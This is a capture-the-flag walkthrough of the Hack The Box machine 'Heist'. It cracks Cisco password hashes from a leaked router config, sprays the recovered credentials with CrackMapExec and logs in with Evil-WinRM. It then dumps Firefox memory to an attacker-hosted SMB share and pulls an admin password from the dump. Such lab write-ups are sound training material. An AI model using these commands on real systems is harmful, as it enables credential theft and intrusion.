Heist

Name: Heist
Release Date: 10 Aug 2019
Retire Date: 30 Nov 2019
OS: Windows
Base Points: Easy - Retired [0]
Rated Difficulty:
Radar Graph:
InfoSecJack 00 days, 03 hours, 38 mins, 54 seconds
snowscan 00 days, 04 hours, 38 mins, 41 seconds
Creator: MinatoTW
CherryTree File: CherryTree - Remove the .txt extension

Again, we start with nmap -sC -sV -oA ./heist 10.10.10.149

 
$  nmap -sC -sV -oA ./heist 10.10.10.149
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-03 14:35 EDT
  Nmap scan report for 10.10.10.149
  Host is up (0.23s latency).
  Not shown: 997 filtered ports
  PORT    STATE SERVICE       VERSION
  80/tcp  open  http          Microsoft IIS httpd 10.0
  | http-cookie-flags: 
  |   /: 
  |     PHPSESSID: 
  |_      httponly flag not set
  | http-methods: 
  |_  Potentially risky methods: TRACE
  |_http-server-header: Microsoft-IIS/10.0
  | http-title: Support Login Page
  |_Requested resource was login.php
  135/tcp open  msrpc         Microsoft Windows RPC
  445/tcp open  microsoft-ds?
  Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

  Host script results:
  |_clock-skew: 16s
  | smb2-security-mode: 
  |   2.02: 
  |_    Message signing enabled but not required
  | smb2-time: 
  |   date: 2020-04-03T18:36:23
  |_  start_date: N/A
  
  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 89.38 seconds
 

We have HTTP and SMB.  Let's start with the web page.  It looks like a simple Login.

It looks like we can log in as Guest.  When we do, we are given what looks like a Technical Support conversation.

The initiating comment of the conversation has an attachment that contains:

 
$ version 12.2
  no service pad
  service password-encryption
  !
  isdn switch-type basic-5ess
  !
  hostname ios-1
  !
  security passwords min-length 12
  enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
  !
  username rout3r password 7 0242114B0E143F015F5D1E161713
  username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
  !
  !
  ip ssh authentication-retries 5
  ip ssh version 2
  !
  !
  router bgp 100
   synchronization
   bgp log-neighbor-changes
   bgp dampening
   network 192.168.0.0Â mask 300.255.255.0
   timers bgp 3 9
   redistribute connected
  !
  ip classless
  ip route 0.0.0.0 0.0.0.0 192.168.0.1
  !
  !
  access-list 101 permit ip any any
  dialer-list 1 protocol ip list 101
  !
  no ip http server
  no ip http secure-server
  !
  line vty 0 4
   session-timeout 600
   authorization exec SSH
   transport input ssh
 

OK. Tangent time. I have actually seen people do this IRL and the fact that they are in IT terrifies me to no end.  That attachment contains all of the router/switch administrator passwords!!!!  NEVER put something like that on any kind of public forum.  That's just........I seriously have no words.  Hazard should be cleaning out his desk right about now.


OK.....I'm better now.  So, there are DOZENS of sites dedicated to cracking Cisco passwords.  For example, https://www.ifm.net.nz/cookbooks/passwordcracker.html takes that type 7 admin password "hash" of 02375012182C1A1D751618034F36415408 and cracks it into "Q4)sJu\Y8qz*A3?d" in less than a second. It takes 0242114B0E143F015F5D1E161713 and turns it into "$uperP@ssword".  However, the type 5 one requires a little bit of John cracking.  I drop the hash into a "type5" file and set John to work with:

 
 sudo john --fork=4 -w=/usr/share/wordlists/rockyou.txt ./type5
 

So, to recap, we have the following credentials already:

  secret:stealth1agent
  rout3r:$uperP@ssword
  admin:Q4)sJu\Y8qz*A3?d

 

Looking at the Issues page, we can also guess that Hazard is another username we can use.  I'm going to use every variation of admin, administrator, support admin, etc. as well. So, we have 9 usernames and 3 passwords.

 

  Usernames:
  secret
  rout3r
  admin
  administrator
  support admin
  support administrator
  supportadmin
  supportadministrator
  hazard
 
  Passwords
  stealth1agent
  $uperP@ssword
  Q4)sJu\Y8qz*A3?d


We are setting up for a sort of password spray attack.  I've dropped these users and passwords into seperate txt files.

Now, we can run CrackMapExec and spray those users with those passwords.

  crackmapexec smb 10.10.10.149 ./users.txt -p ./pass.txt

Lo and behold! Our old buddy Hazard reused the type 5 stealth1agent password.  I try smbclient, but that was an enormous fail.  Hazard has no access, which is probably a good thing.  Let's try WinRM.  Nope Another fail.  RID Brute forceing??

Finally!  Something worked.  We now have a few more usernames to try. So, I change the users.txt with those new usernames (drop the old ones) of:

  Administrator
  support
  Chase
  Jason

Use the same password spray we did before and we find Chase's password.  At least his looks randomized XD  Evil-WinRM gets us our initial foothold

  evil-winrm -i 10.10.10.149 -u Chase -p 'Q4)sJu\Y8qz*A3?d'

We type out the todo.txt file in Chase's Desktop folder and we see that his #1 item is to constantly check that issues page.  Running Get-Process shows that he is using Firefox to check that site.  Let's see if we can dump the memory of those Firefox processes in case they have goodies.  To do that, we need the smbserver.py script again.

  On Attacking Machine one level up from the procdump64.exe file:


  sudo python3 /impacket/examples/smbserver.py -smb2support -username guest -password guest share ProcDump

 

  On Victim:

 

  net use x: \\10.10.14.28\share /user:guest guest
  cp x:\procdump64.exe ./procdump.exe
  .\procdump.exe -ma 6184 firefox.dmp
  cp .\firefox.dmp x:\firefox.dmp

If we intercept a login request to the page, we see that login_username and login_password are the variables that the page is looking for to authenticate. So, we can use "strings" to search the dmp file for login_password and we get this response.


  "C:\Program Files\Mozilla Firefox\firefox.exe" localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
   MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
   localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
   MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=

 

New credentials! 


admin:4dD!5}x/re8]FBuZ

Now, we can try to evil-winrm as admin!  aaaannnnddd EPIC fail XD

 

Let's try psexec instead.  Awesome!  That one worked.  Grab your flags and grab a beer!  Celebration time